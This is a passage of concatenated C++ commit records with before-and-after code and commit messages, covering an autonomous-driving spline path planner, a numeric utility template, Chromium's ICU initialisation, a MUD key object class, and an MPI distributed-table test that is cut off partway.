AERROR << \"Qp spline sampler failed!\";\n return false;\n }\n\n _spline_generator.reset(new Spline1dGenerator(\n sampling_point, _qp_spline_path_config.spline_order()));\n return true;\n}\n\nbool QpSplinePathGenerator::setup_constraint(\n const QpFrenetFrame& qp_frenet_frame) {\n Spline1dConstraint* spline_constraint =\n _spline_generator->mutable_spline_constraint();\n \/\/ add init status constraint\n spline_constraint->add_point_fx_constraint(_init_point.s(), _init_point.l());\n spline_constraint->add_point_derivative_constraint(_init_point.s(),\n _init_point.dl());\n spline_constraint->add_point_second_derivative_constraint(_init_point.s(),\n _init_point.ddl());\n\n AINFO << \"init frenet point: \" << _init_point.ShortDebugString();\n\n \/\/ add end point constraint\n const std::vector<double> spline_knots =\n _spline_generator->spline().x_knots();\n if (spline_knots.size() < 2) {\n AERROR << common::util::StrCat(\"Smoothing spline knot size(\",\n spline_knots.size(), \") < 2\");\n return false;\n }\n double s_length = spline_knots.back() - spline_knots.front();\n if (s_length <= 0) {\n AERROR << common::util::StrCat(\"Smoothing spline knot length(\", s_length,\n \") <= 0\");\n return false;\n }\n\n std::pair<double, double> boundary = std::make_pair(0.0, 0.0);\n double end_ref_l = (boundary.first + boundary.second) \/ 2.0;\n spline_constraint->add_point_fx_constraint(spline_knots.back(), end_ref_l);\n spline_constraint->add_point_derivative_constraint(spline_knots.back(), 0.0);\n spline_constraint->add_point_second_derivative_constraint(spline_knots.back(),\n 0.0);\n AINFO << \"end frenet point:\" << s_length << \", \" << end_ref_l\n << \", 0.0, 0.0.\";\n const std::vector<double> sampling_knots = spline_knots;\n\n if (sampling_knots.size() <= 2) {\n return false;\n }\n\n std::uint32_t num_fx_bound =\n _qp_spline_path_config.number_of_fx_constraint_knots();\n std::vector<double> boundary_low;\n std::vector<double> boundary_high;\n std::vector<double> fx_knots;\n\n if (num_fx_bound > 1) {\n double ds = (sampling_knots.back() - sampling_knots.front()) \/ num_fx_bound;\n double s = sampling_knots.front();\n\n for (std::uint32_t i = 0; i < num_fx_bound + 1; ++i) {\n fx_knots.push_back(s);\n std::pair<double, double> boundary = std::make_pair(0.0, 0.0);\n qp_frenet_frame.get_map_bound(s, &boundary);\n boundary_low.push_back(boundary.first);\n boundary_high.push_back(boundary.second);\n s += ds;\n \/\/ calculate boundary here\n }\n\n if (!spline_constraint->add_fx_boundary(fx_knots, boundary_low,\n boundary_high)) {\n AERROR << \"Add boundary constraint failed\";\n return false;\n }\n }\n \/\/ add smooth jointness constraint\n if (!spline_constraint->add_third_derivative_smooth_constraint()) {\n AERROR << \"Add spline jointness constraint failed!\";\n return false;\n }\n\n return true;\n}\n\nbool QpSplinePathGenerator::setup_kernel() {\n Spline1dKernel* spline_kernel = _spline_generator->mutable_spline_kernel();\n\n if (_qp_spline_path_config.regularization_weight() > 0) {\n spline_kernel->add_regularization(\n _qp_spline_path_config.regularization_weight());\n }\n\n if (_qp_spline_path_config.derivative_weight() > 0) {\n spline_kernel->add_derivative_kernel_matrix(\n _qp_spline_path_config.derivative_weight());\n }\n\n if (_qp_spline_path_config.second_derivative_weight() > 0) {\n spline_kernel->add_second_order_derivative_matrix(\n _qp_spline_path_config.second_derivative_weight());\n }\n\n if (_qp_spline_path_config.third_derivative_weight() > 0) {\n spline_kernel->add_third_order_derivative_matrix(\n _qp_spline_path_config.third_derivative_weight());\n }\n\n \/\/ TODO(all): Add reference line kernel here\n return true;\n}\n\nbool QpSplinePathGenerator::solve() {\n if (!_spline_generator->solve()) {\n AERROR << \"Could not solve the qp problem in spline path generator.\";\n return false;\n }\n return true;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright 2011, Jernej Kovacic\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n\n\/**\n@file NumericUtil.cpp\n\nImplementation of the class NumericUtil, a collection of some useful\nnumerical utilities. This is a templated class and must not be compiled.\nInstead it must be included after the class declaration in the .h file\n\n@author Jernej Kovacic\n*\/\n\n\/\/ Delibarately there is no #include \"NumericUtil.h\"\n#include \"Rational.h\"\n\n\/\/ Note that the optimal EPS depends on application requirements\n\/*\n * Definition of EPS for type float\n *\/\ntemplate<>\nfloat NumericUtil<float>::EPS = 1e-9f;\n\n\/*\n * Double is a more accurate type...\n *\/\ntemplate<>\ndouble NumericUtil<double>::EPS = 1e-16;\n\n\/*\n * In int and other types, EPS doesn't make sense, so set it to 0\n *\/\ntemplate<class T>\nT NumericUtil<T>::EPS = (T) 0;\n\n\/*\n * The implementation for integers et al. where the == operator\n * does make sense and no comparison to EPS is necessary.\n *\/\ntemplate<class T>\nbool NumericUtil<T>::isZero(T value)\n{\n bool retVal = ( 0==value ? true : false );\n\n return retVal;\n}\n\n\n\/*\n * Two specialized implementations for float and double.\n * In case of these two types, the equality operator (==) is useless.\n * In numerical mathematics, two numbers are considered \"equal\", when\n * absolute value of their difference does not exceed a reasonably set EPS.\n * Both specializations are very similar and only differ in types of an input value.\n * TODO: would it make sense using #define ???\n *\/\n\n\/\/ float:\ntemplate<>\nbool NumericUtil<float>::isZero(float value)\n{\n bool retVal = false;\n \/\/ quick definition of an absolute value\n float absValue = ( value>=0 ? value : -value );\n\n retVal = (absValue < EPS ? true : false );\n\n return retVal;\n}\n\n\/\/ and double:\ntemplate<>\nbool NumericUtil<double>::isZero(double value)\n{\n bool retVal = false;\n \/\/ quick definition of an absolute value\n double absValue = ( value>=0 ? value : -value );\n\n retVal = (absValue < EPS ? true : false );\n\n return retVal;\n}\n\n\/*\n * Implementation for Rational\n *\/\ntemplate<>\nbool NumericUtil<Rational>::isZero(Rational value)\n{\n \/\/ Rational already contains its own isZero()...\n return value.isZero();\n}\n<commit_msg>arg. passing<commit_after>\/*\nCopyright 2011, Jernej Kovacic\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n\n\/**\n@file NumericUtil.cpp\n\nImplementation of the class NumericUtil, a collection of some useful\nnumerical utilities. This is a templated class and must not be compiled.\nInstead it must be included after the class declaration in the .h file\n\n@author Jernej Kovacic\n*\/\n\n\/\/ Delibarately there is no #include \"NumericUtil.h\"\n#include \"Rational.h\"\n\n\/\/ Note that the optimal EPS depends on application requirements\n\/*\n * Definition of EPS for type float\n *\/\ntemplate<>\nfloat NumericUtil<float>::EPS = 1e-9f;\n\n\/*\n * Double is a more accurate type...\n *\/\ntemplate<>\ndouble NumericUtil<double>::EPS = 1e-16;\n\n\/*\n * In int and other types, EPS doesn't make sense, so set it to 0\n *\/\ntemplate<class T>\nT NumericUtil<T>::EPS = (T) 0;\n\n\/*\n * The implementation for integers et al. where the == operator\n * does make sense and no comparison to EPS is necessary.\n *\/\ntemplate<class T>\nbool NumericUtil<T>::isZero(const T& value)\n{\n bool retVal = ( 0==value ? true : false );\n\n return retVal;\n}\n\n\n\/*\n * Two specialized implementations for float and double.\n * In case of these two types, the equality operator (==) is useless.\n * In numerical mathematics, two numbers are considered \"equal\", when\n * absolute value of their difference does not exceed a reasonably set EPS.\n * Both specializations are very similar and only differ in types of an input value.\n * TODO: would it make sense using #define ???\n *\/\n\n\/\/ float:\ntemplate<>\nbool NumericUtil<float>::isZero(const float& value)\n{\n bool retVal = false;\n \/\/ quick definition of an absolute value\n float absValue = ( value>=0 ? value : -value );\n\n retVal = (absValue < EPS ? true : false );\n\n return retVal;\n}\n\n\/\/ and double:\ntemplate<>\nbool NumericUtil<double>::isZero(const double& value)\n{\n bool retVal = false;\n \/\/ quick definition of an absolute value\n double absValue = ( value>=0 ? value : -value );\n\n retVal = (absValue < EPS ? true : false );\n\n return retVal;\n}\n\n\/*\n * Implementation for Rational\n *\/\ntemplate<>\nbool NumericUtil<Rational>::isZero(const Rational& value)\n{\n \/\/ Rational already contains its own isZero()...\n return value.isZero();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include <windows.h>\n#include <string>\n\n#include \"base\/icu_util.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"unicode\/udata.h\"\n\nnamespace icu_util {\n\nbool Initialize() {\n \/\/ Assert that we are not called more than once. Even though calling this\n \/\/ function isn't harmful (ICU can handle it), being called twice probably\n \/\/ indicates a programming error.\n#ifndef DEBUG\n static bool called_once = false;\n DCHECK(!called_once);\n called_once = true;\n#endif\n\n \/\/ We expect to find the ICU data module alongside the current module.\n std::wstring data_path;\n PathService::Get(base::DIR_MODULE, &data_path);\n file_util::AppendToPath(&data_path, L\"icudt38.dll\");\n\n HMODULE module = LoadLibrary(data_path.c_str());\n if (!module)\n return false;\n\n FARPROC addr = GetProcAddress(module, \"icudt38_dat\");\n if (!addr)\n return false;\n\n UErrorCode err = U_ZERO_ERROR;\n udata_setCommonData(reinterpret_cast<void*>(addr), &err);\n return err == U_ZERO_ERROR;\n}\n\n} \/\/ namespace icu_util\n<commit_msg>ICU isn't packaged on the Mac as it is on Windows. Review URL: http:\/\/chrome-reviews.prom.corp.google.com\/1092<commit_after>\/\/ Copyright 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"build\/build_config.h\"\n\n#ifdef OS_WIN\n#include <windows.h>\n#endif\n\n#include <string>\n\n#include \"base\/icu_util.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"unicode\/udata.h\"\n\nnamespace icu_util {\n\nbool Initialize() {\n#ifdef OS_WIN\n \/\/ Assert that we are not called more than once. Even though calling this\n \/\/ function isn't harmful (ICU can handle it), being called twice probably\n \/\/ indicates a programming error.\n#ifndef NDEBUG\n static bool called_once = false;\n DCHECK(!called_once);\n called_once = true;\n#endif\n\n \/\/ We expect to find the ICU data module alongside the current module.\n std::wstring data_path;\n PathService::Get(base::DIR_MODULE, &data_path);\n file_util::AppendToPath(&data_path, L\"icudt38.dll\");\n\n HMODULE module = LoadLibrary(data_path.c_str());\n if (!module)\n return false;\n\n FARPROC addr = GetProcAddress(module, \"icudt38_dat\");\n if (!addr)\n return false;\n\n UErrorCode err = U_ZERO_ERROR;\n udata_setCommonData(reinterpret_cast<void*>(addr), &err);\n return err == U_ZERO_ERROR;\n#else\n \/\/ Windows ships ICU's data separate, so it needs to link the code to data\n \/\/ here. Other platforms don't need this.\n return true;\n#endif \/\/ OS_WIN\n}\n\n} \/\/ namespace icu_util\n<|endoftext|>"} {"text":"<commit_before>\/\/ key.cc\n\n#include \"stdsneezy.h\"\n#include \"obj_open_container.h\"\n#include \"obj_keyring.h\"\n#include \"obj_key.h\"\nTKey::TKey() :\n TObj()\n{\n}\n\nTKey::TKey(const TKey &a)\n : TObj(a)\n{\n}\n\nTKey & TKey::operator=(const TKey &a)\n{\n if (this == &a) return *this;\n TObj::operator=(a);\n return *this;\n}\n\nTKey::~TKey()\n{\n}\n\nvoid TKey::assignFourValues(int, int, int, int)\n{\n}\n\nvoid TKey::getFourValues(int *x1, int *x2, int *x3, int *x4) const\n{\n *x1 = 0;\n *x2 = 0;\n *x3 = 0;\n *x4 = 0;\n}\n\nsstring TKey::statObjInfo() const\n{\n char buf[256];\n sprintf(buf, \"It is a key to %s\", what_does_it_open(this));\n\n sstring a(buf);\n return a;\n}\n\nvoid TKey::lowCheck()\n{\n if ((obj_flags.cost >= 0) && isRentable() &&\n (obj_flags.decay_time <= 0))\n vlogf(LOG_LOW, fmt(\"rentable key (%s)!\") % getName());\n\n TObj::lowCheck();\n}\n\nbool TKey::objectRepair(TBeing *ch, TMonster *repair, silentTypeT silent)\n{\n if (!silent) {\n\n repair->doTell(fname(ch->name), \"Does this look like a locksmithery to you?\");\n }\n return TRUE;\n}\n\nint TKey::stealModifier()\n{\n return 77; \/\/ make keys tough to steal\n}\n\nint TKey::putMeInto(TBeing *ch, TOpenContainer *container)\n{\n TObj *o;\n TThing *t;\n char buf[256];\n \n for(t=container->getStuff(); t; t=t->nextThing){\n o = dynamic_cast<TObj *>(t);\n\n if (!o)\n continue;\n\n if (dynamic_cast<TKeyring *>(container) &&\n\tobj_index[getItemIndex()].virt == obj_index[o->getItemIndex()].virt) {\n sprintf(buf, \"You already have one of those keys in your %s.\\n\\r\",\n\t fname(container->name).c_str());\n ch->sendTo(buf);\n return TRUE;\n }\n }\n return FALSE;\n}\n<commit_msg>Rentable keys with the [housekey] keyword won't generate LOW errors.<commit_after>\/\/ key.cc\n\n#include \"stdsneezy.h\"\n#include \"obj_open_container.h\"\n#include \"obj_keyring.h\"\n#include \"obj_key.h\"\nTKey::TKey() :\n TObj()\n{\n}\n\nTKey::TKey(const TKey &a)\n : TObj(a)\n{\n}\n\nTKey & TKey::operator=(const TKey &a)\n{\n if (this == &a) return *this;\n TObj::operator=(a);\n return *this;\n}\n\nTKey::~TKey()\n{\n}\n\nvoid TKey::assignFourValues(int, int, int, int)\n{\n}\n\nvoid TKey::getFourValues(int *x1, int *x2, int *x3, int *x4) const\n{\n *x1 = 0;\n *x2 = 0;\n *x3 = 0;\n *x4 = 0;\n}\n\nsstring TKey::statObjInfo() const\n{\n char buf[256];\n sprintf(buf, \"It is a key to %s\", what_does_it_open(this));\n\n sstring a(buf);\n return a;\n}\n\nvoid TKey::lowCheck()\n{\n if ((obj_flags.cost >= 0) && isRentable() &&\n isname(\"[housekey]\", getName()) &&\n (obj_flags.decay_time <= 0))\n vlogf(LOG_LOW, fmt(\"rentable key (%s)!\") % getName());\n\n TObj::lowCheck();\n}\n\nbool TKey::objectRepair(TBeing *ch, TMonster *repair, silentTypeT silent)\n{\n if (!silent) {\n\n repair->doTell(fname(ch->name), \"Does this look like a locksmithery to you?\");\n }\n return TRUE;\n}\n\nint TKey::stealModifier()\n{\n return 77; \/\/ make keys tough to steal\n}\n\nint TKey::putMeInto(TBeing *ch, TOpenContainer *container)\n{\n TObj *o;\n TThing *t;\n char buf[256];\n \n for(t=container->getStuff(); t; t=t->nextThing){\n o = dynamic_cast<TObj *>(t);\n\n if (!o)\n continue;\n\n if (dynamic_cast<TKeyring *>(container) &&\n\tobj_index[getItemIndex()].virt == obj_index[o->getItemIndex()].virt) {\n sprintf(buf, \"You already have one of those keys in your %s.\\n\\r\",\n\t fname(container->name).c_str());\n ch->sendTo(buf);\n return TRUE;\n }\n }\n return FALSE;\n}\n<|endoftext|>"} {"text":"<commit_before>\/** @file distributed_table_test.cc\n *\n * @author Dongryeol Lee (dongryel@cc.gatech.edu)\n *\/\n#include \"core\/metric_kernels\/lmetric.h\"\n#include \"core\/table\/distributed_table.h\"\n#include \"core\/table\/mailbox.h\"\n#include \"core\/tree\/gen_kdtree.h\"\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/archive\/text_iarchive.hpp>\n\ntypedef core::tree::GeneralBinarySpaceTree < core::tree::GenKdTree > TreeType;\ntypedef core::table::Table<TreeType> TableType;\n\nbool CheckDistributedTableIntegrity(\n const core::table::DistributedTable &table_in,\n const boost::mpi::communicator &world,\n const boost::mpi::communicator &table_outbox_group,\n const boost::mpi::communicator &table_inbox_group) {\n for(int i = 0; i < world.size(); i++) {\n printf(\n \"Process %d thinks Process %d owns %d points of dimensionality %d.\\n\",\n world.rank(), i, table_in.local_n_entries(i % (world.size() \/ 3)),\n table_in.n_attributes());\n }\n return true;\n}\n\ncore::table::DistributedTable *InitDistributedTable(\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group,\n boost::mpi::communicator &table_inbox_group,\n boost::mpi::communicator &computation_group) {\n\n std::pair< core::table::DistributedTable *, std::size_t >\n distributed_table_pair =\n core::table::global_m_file_->UniqueFind<core::table::DistributedTable>();\n core::table::DistributedTable *distributed_table =\n distributed_table_pair.first;\n\n if(distributed_table == NULL) {\n printf(\"Process %d: TableOutbox.\\n\", world.rank());\n\n \/\/ Each process generates its own random data, dumps it to the file,\n \/\/ and read its own file back into its own distributed table.\n core::table::Table<TreeType> random_dataset;\n const int num_dimensions = 5;\n int num_points = core::math::RandInt(10, 20);\n random_dataset.Init(5, num_points);\n for(int j = 0; j < num_points; j++) {\n core::table::DensePoint point;\n random_dataset.get(j, &point);\n for(int i = 0; i < num_dimensions; i++) {\n point[i] = core::math::Random(0.1, 1.0);\n }\n }\n printf(\"Process %d generated %d points...\\n\", world.rank(), num_points);\n std::stringstream file_name_sstr;\n file_name_sstr << \"random_dataset_\" << world.rank() << \".csv\";\n std::string file_name = file_name_sstr.str();\n random_dataset.Save(file_name);\n\n std::stringstream distributed_table_name_sstr;\n distributed_table_name_sstr << \"distributed_table_\" << world.rank() << \"\\n\";\n distributed_table = core::table::global_m_file_->UniqueConstruct <\n core::table::DistributedTable > ();\n distributed_table->Init(\n file_name, table_outbox_group);\n printf(\n \"Process %d read in %d points...\\n\",\n world.rank(), distributed_table->local_n_entries());\n }\n return distributed_table;\n}\n\nvoid TableOutboxProcess(\n core::table::DistributedTable *distributed_table,\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group,\n boost::mpi::communicator &table_inbox_group,\n boost::mpi::communicator &computation_group) {\n\n printf(\"Process %d: TableOutbox.\\n\", world.rank());\n distributed_table->RunOutbox(\n table_outbox_group, table_inbox_group, computation_group);\n}\n\nvoid TableInboxProcess(\n core::table::DistributedTable *distributed_table,\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group,\n boost::mpi::communicator &table_inbox_group,\n boost::mpi::communicator &computation_group) {\n printf(\"Process %d: TableInbox.\\n\", world.rank());\n\n distributed_table->RunInbox(\n table_outbox_group, table_inbox_group, computation_group);\n}\n\nvoid ComputationProcess(\n core::table::DistributedTable *distributed_table,\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group,\n boost::mpi::communicator &table_inbox_group,\n boost::mpi::communicator &computation_group) {\n\n printf(\"Process %d: Computation.\\n\", world.rank());\n\n \/\/ Do a test where each computation process requests a random point\n \/\/ from a randomly chosen process.\n int num_points = core::math::RandInt(10, 30);\n for(int n = 0; n < num_points; n++) {\n core::table::DenseConstPoint point;\n int random_request_rank = core::math::RandInt(0, table_outbox_group.size());\n int random_request_point_id =\n core::math::RandInt(\n 0, distributed_table->local_n_entries(random_request_rank));\n distributed_table->get(\n table_outbox_group, table_inbox_group,\n random_request_rank, random_request_point_id, &point);\n\n \/\/ Print the point.\n point.Print();\n\n \/\/ Tell the inbox that we are done using the point.\n distributed_table->UnlockPointinTableInbox();\n }\n}\n\nint main(int argc, char *argv[]) {\n\n \/\/ Initialize boost MPI.\n boost::mpi::environment env(argc, argv);\n boost::mpi::communicator world;\n\n if(world.size() <= 1 || world.size() % 3 != 0) {\n std::cout << \"Please specify a process number greater than 1 and \"\n \"a multiple of 3.\\n\";\n return 0;\n }\n\n \/\/ Delete the teporary files and put a barrier.\n std::stringstream temporary_file_name;\n temporary_file_name << \"tmp_file\" << world.rank();\n remove(temporary_file_name.str().c_str());\n world.barrier();\n\n \/\/ Initialize the memory allocator.\n core::table::global_m_file_ = new core::table::MemoryMappedFile();\n core::table::global_m_file_->Init(\n std::string(\"tmp_file\"), world.rank(),\n world.rank() % (world.size() \/ 3), 5000000);\n\n \/\/ Seed the random number.\n srand(time(NULL) + world.rank());\n\n if(world.rank() == 0) {\n printf(\"%d processes are present...\\n\", world.size());\n }\n\n \/\/ If the process ID is less than half of the size of the\n \/\/ communicator, make it a table process. Otherwise, make it a\n \/\/ computation process. This assignment depends heavily on the\n \/\/ round-robin assignment of mpirun.\n boost::mpi::communicator table_outbox_group = world.split(\n (world.rank() < world.size() \/ 3) ? 1 : 0);\n boost::mpi::communicator table_inbox_group = world.split(\n (world.rank() >= world.size() \/ 3 &&\n world.rank() < world.size() \/ 3 * 2) ? 1 : 0);\n boost::mpi::communicator computation_group = world.split(\n (world.rank() >= world.size() \/ 3 * 2) ? 1 : 0);\n\n printf(\"Check: %d %d %d %d\\n\", world.rank(), table_outbox_group.size(),\n table_inbox_group.size(), computation_group.size());\n return 0;\n\n core::table::DistributedTable *distributed_table = NULL;\n\n \/\/ Wait until the memory allocator is in synch.\n world.barrier();\n\n \/\/ Read the distributed table once per each compute node, and put a\n \/\/ barrier.\n if(world.rank() < world.size() \/ 3) {\n distributed_table =\n InitDistributedTable(\n world, table_outbox_group, table_inbox_group, computation_group);\n }\n world.barrier();\n\n \/\/ Attach the distributed table for all the processes and put a\n \/\/ barrier.\n std::pair< core::table::DistributedTable *, std::size_t >\n distributed_table_pair =\n core::table::global_m_file_->UniqueFind<core::table::DistributedTable>();\n distributed_table = distributed_table_pair.first;\n\n \/\/ Check the integrity of the distributed table.\n CheckDistributedTableIntegrity(\n *distributed_table, world, table_outbox_group, table_inbox_group);\n\n \/\/ The main computation loop.\n if(world.rank() < world.size() \/ 3) {\n TableOutboxProcess(\n distributed_table, world, table_outbox_group,\n table_inbox_group, computation_group);\n }\n else if(world.rank() < world.size() \/ 3 * 2) {\n TableInboxProcess(\n distributed_table, world, table_outbox_group,\n table_inbox_group, computation_group);\n }\n else {\n ComputationProcess(\n distributed_table, world,\n table_outbox_group, table_inbox_group, computation_group);\n }\n\n return 0;\n}\n<commit_msg>Trying to get communicator (inter) working.<commit_after>\/** @file distributed_table_test.cc\n *\n * @author Dongryeol Lee (dongryel@cc.gatech.edu)\n *\/\n#include \"core\/metric_kernels\/lmetric.h\"\n#include \"core\/table\/distributed_table.h\"\n#include \"core\/table\/mailbox.h\"\n#include \"core\/tree\/gen_kdtree.h\"\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/archive\/text_iarchive.hpp>\n\ntypedef core::tree::GeneralBinarySpaceTree < core::tree::GenKdTree > TreeType;\ntypedef core::table::Table<TreeType> TableType;\n\nbool CheckDistributedTableIntegrity(\n const core::table::DistributedTable &table_in,\n const boost::mpi::communicator &world,\n const boost::mpi::communicator &table_outbox_group,\n const boost::mpi::communicator &table_inbox_group) {\n for(int i = 0; i < world.size(); i++) {\n printf(\n \"Process %d thinks Process %d owns %d points of dimensionality %d.\\n\",\n world.rank(), i, table_in.local_n_entries(i % (world.size() \/ 3)),\n table_in.n_attributes());\n }\n return true;\n}\n\ncore::table::DistributedTable *InitDistributedTable(\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group) {\n\n std::pair< core::table::DistributedTable *, std::size_t >\n distributed_table_pair =\n core::table::global_m_file_->UniqueFind<core::table::DistributedTable>();\n core::table::DistributedTable *distributed_table =\n distributed_table_pair.first;\n\n if(distributed_table == NULL) {\n printf(\"Process %d: TableOutbox.\\n\", world.rank());\n\n \/\/ Each process generates its own random data, dumps it to the file,\n \/\/ and read its own file back into its own distributed table.\n core::table::Table<TreeType> random_dataset;\n const int num_dimensions = 5;\n int num_points = core::math::RandInt(10, 20);\n random_dataset.Init(5, num_points);\n for(int j = 0; j < num_points; j++) {\n core::table::DensePoint point;\n random_dataset.get(j, &point);\n for(int i = 0; i < num_dimensions; i++) {\n point[i] = core::math::Random(0.1, 1.0);\n }\n }\n printf(\"Process %d generated %d points...\\n\", world.rank(), num_points);\n std::stringstream file_name_sstr;\n file_name_sstr << \"random_dataset_\" << world.rank() << \".csv\";\n std::string file_name = file_name_sstr.str();\n random_dataset.Save(file_name);\n\n std::stringstream distributed_table_name_sstr;\n distributed_table_name_sstr << \"distributed_table_\" << world.rank() << \"\\n\";\n distributed_table = core::table::global_m_file_->UniqueConstruct <\n core::table::DistributedTable > ();\n distributed_table->Init(\n file_name, table_outbox_group);\n printf(\n \"Process %d read in %d points...\\n\",\n world.rank(), distributed_table->local_n_entries());\n }\n return distributed_table;\n}\n\nvoid TableOutboxProcess(\n core::table::DistributedTable *distributed_table,\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group,\n boost::mpi::communicator &table_inbox_group,\n boost::mpi::communicator &computation_group) {\n\n printf(\"Process %d: TableOutbox.\\n\", world.rank());\n distributed_table->RunOutbox(\n table_outbox_group, table_inbox_group, computation_group);\n}\n\nvoid TableInboxProcess(\n core::table::DistributedTable *distributed_table,\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group,\n boost::mpi::communicator &table_inbox_group,\n boost::mpi::communicator &computation_group) {\n printf(\"Process %d: TableInbox.\\n\", world.rank());\n\n distributed_table->RunInbox(\n table_outbox_group, table_inbox_group, computation_group);\n}\n\nvoid ComputationProcess(\n core::table::DistributedTable *distributed_table,\n boost::mpi::communicator &world,\n boost::mpi::communicator &table_outbox_group,\n boost::mpi::communicator &table_inbox_group,\n boost::mpi::communicator &computation_group) {\n\n printf(\"Process %d: Computation.\\n\", world.rank());\n\n \/\/ Do a test where each computation process requests a random point\n \/\/ from a randomly chosen process.\n int num_points = core::math::RandInt(10, 30);\n for(int n = 0; n < num_points; n++) {\n core::table::DenseConstPoint point;\n int random_request_rank = core::math::RandInt(0, table_outbox_group.size());\n int random_request_point_id =\n core::math::RandInt(\n 0, distributed_table->local_n_entries(random_request_rank));\n distributed_table->get(\n table_outbox_group, table_inbox_group,\n random_request_rank, random_request_point_id, &point);\n\n \/\/ Print the point.\n point.Print();\n\n \/\/ Tell the inbox that we are done using the point.\n distributed_table->UnlockPointinTableInbox();\n }\n}\n\nint main(int argc, char *argv[]) {\n\n \/\/ Initialize boost MPI.\n boost::mpi::environment env(argc, argv);\n boost::mpi::communicator world;\n\n if(world.size() <= 1 || world.size() % 3 != 0) {\n std::cout << \"Please specify a process number greater than 1 and \"\n \"a multiple of 3.\\n\";\n return 0;\n }\n\n \/\/ Delete the teporary files and put a barrier.\n std::stringstream temporary_file_name;\n temporary_file_name << \"tmp_file\" << world.rank();\n 